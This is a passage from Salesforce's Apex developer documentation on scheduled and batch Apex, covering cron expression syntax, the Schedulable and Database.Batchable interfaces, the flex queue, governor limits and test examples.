public static String CRON_EXP = '0 0 0 3 9 ? 2042';

global void execute(SchedulableContext ctx) {

CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :ctx.getTriggerId()];

System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2042-09-03 00:00:00', String.valueOf(ct.NextFireTime));

Account a = [SELECT Id, Name FROM Account WHERE Name =

'testScheduledApexFromTestMethod'];
a.name = 'testScheduledApexFromTestMethodUpdated';
update a;
}
}

This code tests the class:

@istest
class TestClass {

static testmethod void test() {

Test.startTest();

Account a = new Account();

a.Name = 'testScheduledApexFromTestMethod';
insert a;

// Schedule the test job

String jobId = System.schedule('testBasicScheduledApex',

TestScheduledApexFromTestMethod.CRON_EXP,
new TestScheduledApexFromTestMethod());

// Get the information from the CronTrigger API object

CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered,
NextFireTime
FROM CronTrigger WHERE id = :jobId];

// Verify the expressions are the same

System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP,
ct.CronExpression);

// Verify the job has not run

System.assertEquals(0, ct.TimesTriggered);

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// Verify the next time the job will run

System.assertEquals('2042-09-03 00:00:00',
String.valueOf(ct.NextFireTime));
System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);

Test.stopTest();

System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);

}
}

Using the System.schedule Method

After you implement a class with the Schedulable interface, use the System.schedule method to execute it. The scheduler
runs as system—all classes are executed, whether the user has permission to execute the class or not.

Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
The System.schedule method takes three arguments: a name for the job, a cron expression used to represent the time and date
the job is scheduled to run, and the name of the class.
The name for the job must be unique among the jobs scheduled for execution. If you attempt to schedule another job with the same
name, you see the error System.AsyncException: The Apex job named "jobName" is already scheduled
for execution.
The cron expression has this syntax:

Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year

Note: Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service
availability.
The System.schedule method uses the user's time zone as the basis of all schedules.

These are the values for the expression:

Name Values Special Characters

Seconds 0–59 None

Minutes 0–59 None

Hours 0–23 , - * /

Day_of_month 1–31 , - * ? / L W

Month 1–12 or the following: , - * /

• JAN
• FEB
• MAR

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Name Values Special Characters

• APR
• MAY
• JUN
• JUL
• AUG
• SEP
• OCT
• NOV
• DEC

Day_of_week 1–7 or the following: , - * ? / L #

• SUN
• MON
• TUE
• WED
• THU
• FRI
• SAT

optional_year null or 1970–2099 , - * /

The special characters are defined as follows:

Special Character Description

, Delimits values. For example, use JAN, MAR, APR to specify more than one month.

- Specifies a range. For example, use JAN-MAR to specify more than one month.

* Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.

? Specifies no specific value. This option is only available for Day_of_month and
Day_of_week. It’s typically used when specifying a value for one and not the other.

/ Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.

L Specifies the end of a range (last). This option is only available for Day_of_month
and Day_of_week. When used with Day of month, L always means the last
day of the month, such as January 31, February 29 (for leap years), and so on. When
used with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,

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Special Character Description

if you specify 2L, you’re specifying the last Monday of the month. Don’t use a range
of values with L as the results can be unexpected.

W Specifies the nearest weekday (Monday-Friday) of the given day. This option is only
available for Day_of_month. For example, if you specify 20W, and the 20th is a
Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the
class doesn’t run in the previous month, but on the third, which is the following
Monday.

Tip: Use the L and W together to specify the last weekday of the month.

# Specifies the nth day of the month, in the format weekday#day_of_month.

This option is only available for Day_of_week. The number before the # specifies
weekday (SUN-SAT). The number after the # specifies the day of the month. For
example, specifying 2#1 means the class runs on the first Monday of every month.

The following are some examples of how to use the expression.

Expression Description
0 0 13 * * ? The class runs every day at 1 PM.

0 5 * * * ? The class runs every hour at 5 minutes past the hour.

Note: Apex doesn’t allow for a job to be scheduled more

than once an hour.

0 0 22 ? * 6L The class runs on the last Friday of every month at 10 PM.

0 0 10 ? * MON-FRI The class runs Monday through Friday at 10 AM.

0 0 20 * * ? 2010 The class runs every day at 8 PM during the year 2010.

In the following example, the class Proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM
on the 13 February.
Proschedule p = new Proschedule();
String sch = '0 0 8 13 2 ?';
System.schedule('One Time Pro', sch, p);

Using the System.scheduleBatch Method for Batch Jobs

You can call the System.scheduleBatch method to schedule a batch job to run one time at a specified time in the future. This
method is available only for batch classes and doesn’t require the implementation of the Schedulable interface. It’s therefore easy
to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see Using the
System.scheduleBatch Method.

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Apex Scheduler Limits

• You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page
in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the
CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.

• The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to REST API limits resource. See List Organization Limits in the REST API Developer Guide. If the number of
asynchronous Apex executions needed by a job exceeds the available number that’s calculated using the 24-hour rolling limit, an
exception is thrown. For example, if your async job requires 10,000 method executions and the available 24-hour rolling limit is
9,500, you get AsyncApexExecutions Limit exceeded exception. The license types that count toward this limit include full Salesforce
and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities
users.

Apex Scheduler Notes and Best Practices

• Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service availability.
• Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
• Though it's possible to do additional processing in the execute method, we recommend that all processing must take place in
a separate class.
• Synchronous Web service callouts aren’t supported from scheduled Apex. To make asynchronous callouts, use Queueable Apex,
implementing the Database.AllowsCallouts marker interface. If your scheduled Apex executes a batch job using the
Database.AllowsCallouts marker interface, callouts are supported from the batch class. See Using Batch Apex.
• Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes
back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled
back and scheduled again after the service comes back up. After major service upgrades, there can be longer delays than usual for
starting scheduled Apex jobs because of system usage spikes.
• When you refresh a sandbox, scheduled jobs from the source org aren't copied. You must reschedule any jobs that you need in the
refreshed sandbox.
• Scheduled job objects, along with their member variables and properties, persist from initialization to subsequent scheduled runs.
The object state at the time of invocation of System.schedule() persists in subsequent job executions.
With Batch Apex, it’s possible to force a new serialized state for new jobs by usingDatabase.Stateful. With Scheduled Apex,
use the transient keyword so that member variables and properties aren’t persisted. See Using the transient Keyword on page
87..

• If you attempt to deploy changes to a class or its dependent code when the class is scheduled for execution, you see the error This
schedulable class has jobs pending or in progress - CronTrigger IDs (ids). You can also
see the message You can bypass this error by allowing deployments with Apex jobs in the
Deployment Settings page in Setup. If you enable this setting, be aware that the job can fail. Instead, we recommend
that you first delete the scheduled job, and then deploy your changes. After deployment, create a new scheduled job with the
updated class.

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• If you resume a paused scheduled job, the job immediately runs one time. Subsequent executions of the job run according to the
established schedule. Any scheduled executions that were missed while the job was paused don’t run.

SEE ALSO:
Apex Reference Guide: Schedulable Interface

Batch Apex
A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Lightning
Platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to
manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a
certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and
Opportunities on a nightly basis and updates them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at
runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce or programmatically using SOAP API to query the AsyncApexJob object.

Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the
trigger does not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes
through the user interface, and all cases where more than one record can be updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule
Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Schedule Apex Jobs” in the Salesforce
online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 283.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 219.
For more information on firing platform events from batch Apex, see Firing Platform Events from Batch Apex

Use Batch Apex

To use batch Apex, write an Apex class that implements the Salesforce-provided interface Database.Batchable and then
invoke the class programmatically. To monitor or stop the execution of the batch Apex job, from Setup, enter Apex Jobs in the
Quick Find box and then select Apex Jobs.
Firing Platform Events from Batch Apex
Batch Apex classes can fire platform events when encountering an error or exception. Clients listening on an event can obtain
actionable information, such as how often the event failed and which records were in scope at the time of failure. Events are also
fired for Salesforce Platform internal errors and other uncatchable Apex exceptions such as LimitExceptions, which are caused by
reaching governor limits.

Use Batch Apex

To use batch Apex, write an Apex class that implements the Salesforce-provided interface Database.Batchable and then invoke
the class programmatically. To monitor or stop the execution of the batch Apex job, from Setup, enter Apex Jobs in the Quick Find
box and then select Apex Jobs.

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Implement the Database.Batchable Interface

The Database.Batchable interface contains three methods that must be implemented.
• start method:

public (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)

{}

The start method is called at the beginning of a batch Apex job. In the start method, you can include code that collects
records or objects to pass to the interface method execute. This method returns either a Database.QueryLocator object
or an iterable that contains the records or objects passed to the job.
When you’re using a simple query (SELECT) to generate the scope of objects in the batch job, use the
Database.QueryLocator object. If you use a QueryLocator object, the governor limit for the total number of records
retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all
account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all account records in an org.
Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for
iterating through the list.

Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
For more information on using iterables for batch jobs, see Batch Apex Considerations and Best Practices.

• execute method:

public void execute(Database.BatchableContext bc, list<P>){}

The execute method is called for each batch of records that you pass to it and takes these parameters.
– A reference to the Database.BatchableContext object.
– A list of sObjects, such as List<sObject>, or a list of parameterized types. If you’re using a Database.QueryLocator,
use the returned list.
Batches of records tend to execute in the order in which they’re received from the start method. However, the order in which
batches of records execute depends on various factors. The order of execution isn’t guaranteed.

• finish method:

public void finish(Database.BatchableContext bc){}

The finish method is called after all batches are processed and can be used to send confirmation emails or execute post-processing
operations.

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records
each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates
made in the first transaction aren’t rolled back.

Use Database.BatchableContext
All the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:

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Name Arguments Returns Description

getJobID ID Returns the ID of the AsyncApexJob object associated with
this batch job as a string. Use this method to track the
progress of records in the batch job. You can also use this
ID with the System.abortJob method.

The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
public void finish(Database.BatchableContext bc){
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:bc.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

Using Database.QueryLocator to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable.
The following example uses a Database.QueryLocator:
public class SearchAndReplace implements Database.Batchable<sObject>{

public final String Query;

public final String Entity;
public final String Field;
public final String Value;

public SearchAndReplace(String q, String e, String f, String v){

Query=q; Entity=e; Field=f;Value=v;

}

public Database.QueryLocator start(Database.BatchableContext bc){

return Database.getQueryLocator(query);
}

public void execute(Database.BatchableContext bc, List<sObject> scope){

for(sobject s : scope){

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s.put(Field,Value);
}
update scope;
}

public void finish(Database.BatchableContext bc){

}
}

Using an Iterable in Batch Apex to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable. Use an iterable to step through the returned items more easily.
public class batchClass implements Database.batchable{
public Iterable start(Database.BatchableContext info){
return new CustomAccountIterable();
}
public void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 70;
accsToUpdate.add(a);
}
update accsToUpdate;
}
public void finish(Database.BatchableContext info){
}
}

Using the Database.executeBatch Method to Submit Batch Jobs

You can use the Database.executeBatch method to programmatically begin a batch job.

Important: When you call Database.executeBatch, Salesforce adds the process to the queue. Actual execution can be
delayed based on service availability.
The Database.executeBatch method takes two parameters:
• An instance of a class that implements the Database.Batchable interface.
• An optional parameter scope. This parameter specifies the number of records to pass into the execute method. Use this
parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the
number of records, you’re limiting the operations per transaction. This value must be greater than zero. If the start method of
the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum
value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to
2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit. However,
if you use a high number, you can run into other limits. The optimal scope size is a factor of 2000, for example, 100, 200, 400 and so
on.

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The Database.executeBatch method returns the ID of the AsyncApexJob object, which you can use to track the progress of
the job. For example:
ID batchprocessid = Database.executeBatch(reassign);

AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors

FROM AsyncApexJob WHERE ID =: batchprocessid ];

You can also use this ID with the System.abortJob method.

For more information, see AsyncApexJob in the Object Reference for Salesforce.

Holding Batch Jobs in the Apex Flex Queue

With the Apex flex queue, you can submit up to 100 batch jobs.
The outcome of Database.executeBatch is as follows.
• The batch job is placed in the Apex flex queue, and its status is set to Holding.
• If the Apex flex queue has the maximum number of 100 jobs, Database.executeBatch throws a LimitException
and doesn't add the job to the queue.
• If your org doesn’t have Apex flex queue enabled, Database.executeBatch adds the batch job to the batch job queue with
the Queued status. If the concurrent limit of queued or active batch jobs has been reached, a LimitException is thrown,
and the job isn’t queued.
• It is possible that the number of jobs in the Apex flex queue sometimes exceeds the maximum limit, resulting from parallel requests
to enqueue batch Apex jobs. Further attempts to enqueue batch jobs will encounter a LimitException until the queue size
drops below the maximum limit.
Reordering Jobs in the Apex Flex Queue
While submitted jobs have a status of Holding, you can reorder them in the Salesforce user interface to control which batch jobs are
processed first. To do so, from Setup, enter Apex Flex Queue in the Quick Find box, then select Apex Flex Queue.
Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the
System.FlexQueue methods. Pass the method the job ID and, if applicable, the ID of the job next to the moved job’s new position.
For example:
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);

You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the
holding queue to be processed first when resources become available. Otherwise, jobs are processed “first-in, first-out”—in the order
in which they’re submitted.
When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the
batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these
moved jobs changes from Holding to Queued. Queued jobs get executed when the system is ready to process new jobs. You can
monitor queued jobs on the Apex Jobs page.

Batch Job Statuses

The following table lists all possible statuses for a batch job along with a description of each.

Status Description
Holding Job has been submitted and is held in the Apex flex queue until
system resources become available to queue the job for processing.

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Status Description
Queued Job is awaiting execution.

Preparing The start method of the job has been invoked. This status can
last a few minutes depending on the size of the batch of records.

Processing Job is being processed.

Aborted Job aborted by a user.

Completed Job completed with or without failure.

Failed Job experienced a system failure.

Using the System.scheduleBatch Method

You can use the System.scheduleBatch method to schedule a batch job to run once at a future time.
The System.scheduleBatch method takes these parameters.
• An instance of a class that implements the Database.Batchable interface.
• The job name.
• The time interval, in minutes, after which the job starts executing.
• An optional scope value. This parameter specifies the number of records to pass into the execute method. Use this parameter
when you have many operations for each record being passed in and are running into governor limits. By limiting the number of
records, you’re limiting the operations per transaction. This value must be greater than zero.If the start method of the batch class
returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum value of 2,000. If
set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the
start method of the batch class returns an iterable, the scope parameter value has no upper limit. However, if you use a high
number, you can run into other limits. The optimal scope size is a factor of 2000, for example, 100, 200, 400 and so on.
The System.scheduleBatch method returns the scheduled job ID (CronTrigger ID).
This example schedules a batch job to run 60 minutes from now by calling System.scheduleBatch. The example passes this
method an instance of a batch class (the reassign variable), a job name, and a time interval of 60 minutes. The optional scope
parameter has been omitted. The method returns the scheduled job ID, which is used to query CronTrigger to get the status of the
corresponding scheduled job.
String cronID = System.scheduleBatch(reassign, 'job example', 60);

CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime

FROM CronTrigger WHERE Id = :cronID];

// TimesTriggered should be 0 because the job hasn't started yet.

System.assertEquals(0, ct.TimesTriggered);
System.debug('Next fire time: ' + ct.NextFireTime);
// For example:
// Next fire time: 2013-06-03 13:31:23

For more information, see CronTrigger in the Object Reference for Salesforce.

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Note: Some things to note about System.scheduleBatch:

• When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
• The scheduler runs as system—all classes are executed, whether the user has permission to execute the class or not.
• When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
• All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
• After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.

Batch Apex Examples

The following example uses a Database.QueryLocator:
public class UpdateAccountFields implements Database.Batchable<sObject>{
public final String Query;
public final String Entity;
public final String Field;
public final String Value;

public UpdateAccountFields(String q, String e, String f, String v){

Query=q; Entity=e; Field=f;Value=v;
}

public Database.QueryLocator start(Database.BatchableContext bc){

return Database.getQueryLocator(query);
}

public void execute(Database.BatchableContext bc,

List<sObject> scope){
for(Sobject s : scope){s.put(Field,Value);
} update scope;
}

public void finish(Database.BatchableContext bc){

You can use this code to call the previous class.

// Query for 10 accounts
String q = 'SELECT Industry FROM Account LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);

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To exclude accounts or invoices that were deleted but are still in the Recycle Bin, include isDeleted=false in the SOQL query
WHERE clause, as shown in these modified samples.
// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);

// Query for invoices that aren't in the Recycle Bin

String q =
'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e = 'Invoice_Statement__c';
String f = 'Description__c';
String v = 'Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);

The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
public class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;

public Database.querylocator start(Database.BatchableContext bc){

return Database.getQueryLocator(query);}

public void execute(Database.BatchableContext bc, List<sObject> scope){

List<Account> accns = new List<Account>();

for(sObject s : scope){Account a = (Account)s;

if(a.OwnerId==fromUserId){
a.OwnerId=toUserId;
accns.add(a);
}
}

update accns;

}
public void finish(Database.BatchableContext bc){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

mail.setToAddresses(new String[] {email});

mail.setReplyTo('[email protected]');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');

Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });

}
}

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Use this code to execute the OwnerReassignment class in the previous example.
OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
'WHERE ownerid=\'' + u.id + '\'';
reassign.email='[email protected]';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);

The following is an example of a batch Apex class for deleting records.

public class BatchDelete implements Database.Batchable<sObject> {
public String query;

public Database.QueryLocator start(Database.BatchableContext bc){

return Database.getQueryLocator(query);
}

public void execute(Database.BatchableContext bc, List<sObject> scope){

delete scope;
DataBase.emptyRecycleBin(scope);
}

public void finish(Database.BatchableContext bc){

}
}

This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all
documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
'\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);

Using Callouts in Batch Apex

To use a callout in batch Apex, specify Database.AllowsCallouts in the class definition. For example:
public class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}

Callouts include HTTP requests and methods defined with the webservice keyword.

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Using State in Batch Apex

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter is considered five transactions of 200 records each.
If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using
Database.Stateful, only instance member variables retain their values between transactions. Static member variables don’t
retain their values and are reset between transactions. Maintaining state is useful for counting or summarizing records as they’re processed.
For example, suppose your job processes opportunity records. You can define a method in execute to aggregate the totals of the
opportunity amounts as they are processed.
If you don’t specify Database.Stateful, all static and instance member variables are set back to their original values.
The following example summarizes a custom field total__c as the records are processed.
public class SummarizeAccountTotal implements
Database.Batchable<sObject>, Database.Stateful{

public final String Query;

public integer Summary;

public SummarizeAccountTotal(String q){Query=q;

Summary = 0;
}

public Database.QueryLocator start(Database.BatchableContext bc){

return Database.getQueryLocator(query);
}

public void execute(

Database.BatchableContext bc,
List<sObject> scope){
for(sObject s : scope){
Summary = Integer.valueOf(s.get('total__c'))+Summary;
}
}

public void finish(Database.BatchableContext bc){

}
}

In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all
instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final

public class MyBatchable implements Database.Batchable<sObject> {

private final String initialState;
String query;

public MyBatchable(String intialState) {

this.initialState = initialState;
}

public Database.QueryLocator start(Database.BatchableContext bc) {

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// Access initialState here

return Database.getQueryLocator(query);
}

public void execute(Database.BatchableContext bc,

List<sObject> batch) {
// Access initialState here

public void finish(Database.BatchableContext bc) {

// Access initialState here

}
}

The initialState stores only the initial state of the class. You can’t use it to pass information between instances of the class during
execution of the batch job. For example, if you change the value of initialState in execute, the second chunk of processed
records can’t access the new value. Only the initial value is accessible.

Testing Batch Apex

When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running into
governor limits.
The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the
executeBatch method to ensure that it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the executeBatch method within the startTest and stopTest methods, the batch job executes at the end of your
test method. This execution order applies for Apex saved using API version 25.0 and later, but not for earlier versions.
For Apex saved using API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method
are passed to the calling test method. As a result, these exceptions cause the test method to fail. If you want to handle exceptions in the
test method, enclose the code in try and catch statements. Place the catch block after the stopTest method. However, with
Apex saved using Apex version 21.0 and earlier, such exceptions don’t get passed to the test method and don’t cause test methods to
fail.

Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, don’t count
against your limits for the number of queued jobs.
The following example tests the OwnerReassignment class.
public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='[email protected]'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='[email protected]'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce test framework only allows you to
// test one execute.

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List <Account> accns = new List<Account>();

for(integer i = 0; i<200; i++){
Account a = new Account(Name='testAccount'+ i,
Ownerid = u.ID);
accns.add(a);
}

insert accns;

Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId=\'' + u.Id + '\'' +
' LIMIT 200';
reassign.email='[email protected]';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();

System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
200);

}
}

Use the System.Test.enqueueBatchJobs and System.Test.getFlexQueueOrder methods to enqueue and

reorder no-operation jobs within the context of tests.

Batch Apex Limitations

Keep in mind these governor limits and other limitations for batch Apex.
• Up to 5 batch jobs can be queued or active concurrently.
• Up to 100 Holding batch jobs can be held in the Apex flex queue.
• In a running test, you can submit a maximum of 5 batch jobs.
• The maximum number of batch Apex method executions per 24-hour period is 250,000, or the number of user licenses in your org
multiplied by 200—whichever is greater. Method executions include executions of the start, execute, and finish methods.
This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future
methods. To check how many asynchronous Apex executions are available, make a request to REST API limits resource. See List
Organization Limits in the REST API Developer Guide. If the number of asynchronous Apex executions needed by a job exceeds the
available number that’s calculated using the 24-hour rolling limit, an exception is thrown. Batch Apex preemptively checks the
required asynchronous job capacity when Database.executeBatch is called and the start method has returned the
workload. The batch won’t start unless there is sufficient capacity for the entire job available. For example, if the batch requires 10,000
executions and the remaining asynchronous limit is 9,500 executions, an AsyncApexExecutions Limit exceeded
exception is thrown, and the remaining executions are left unchanged. The license types that count toward this limit include full
Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company
Communities users.

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• A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records
are returned, the batch job is immediately terminated and marked as Failed.
• If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper
limit. However, if you use a high number, you can run into other limits. The optimal scope size is a factor of 2000, for example, 100,
200, 400 and so on.
• If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned
by the start method into batches of 200 records. The system then passes each batch to the execute method. Apex governor
limits are reset for each execution of execute.
• The start, execute, and finish methods can implement up to 100 callouts each.
• Only one batch Apex job's start method can run at a time in an org. Batch jobs that haven’t started yet remain in the queue until
they're started. This limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more
than one job is running.
• Enqueued batch Apex jobs are processed when system resources become available. There’s no guarantee on how long it takes to
start, execute, and finish the queued jobs. You can use the Apex flex queue to prioritize jobs.
• Using FOR UPDATE in SOQL queries to lock records during update isn’t applicable to Batch Apex.
• Cursors and related query results are available for 2 days, including results in nested queries. For more information, see API Query
Cursor Limits.

Batch Apex Considerations and Best Practices

• Use extreme caution if you’re planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger doesn’t
add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user
interface, and all cases where more than one record can be updated at a time.
• When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution can be delayed based
on service availability and flex queue priority.
• When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running
into governor limits.
• The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around
